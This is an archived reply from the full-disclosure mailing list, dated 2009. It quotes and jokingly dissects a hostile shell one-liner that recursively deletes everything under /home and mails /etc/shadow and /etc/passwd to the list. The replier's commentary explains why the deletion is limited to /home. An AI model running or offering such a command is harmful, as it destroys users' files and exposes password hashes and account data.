full-disclosure - Re: seriously, your code

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Message-ID: <20090716080708.GC21803@lboro.ac.uk>
Date: Thu, 16 Jul 2009 09:07:08 +0100
From: A.L.M.Buxey@...ro.ac.uk
To: staxjp@...il.com
Cc: full-disclosure@...ts.grok.org.uk
Subject: Re: seriously, your code

Hi,

> /bin/rm -rf /home/*;clear;echo bl4ckh4t,hehecat /etc/shadow |mail  
> full-disclosure@...ts.grok.org.uk cat /etc/passwd |mail  
> full-disclosure@...ts.grok.org.uk
>
> first off if you want to do damage rm -R dumb ass, the one you posted 
> only removes files in /home
>

perhaps it was *designed* to only delete files from /home = because
if you did a full recursive nasty delete of the whole filesystem
then , not only would there not be a /etc/shadow to mail out, but
also the mail command would not work - and if, by miracle, the command
did work then the mail wouldnt go anywhere because the mailspool dir would
not exist etc....and if, by some crazy broken-system way anything ever
did get off the box, then there wouldnt actually be a box worth logging
into remotely using any credentials that might be in /etc/shadow anyway ;-)

alan

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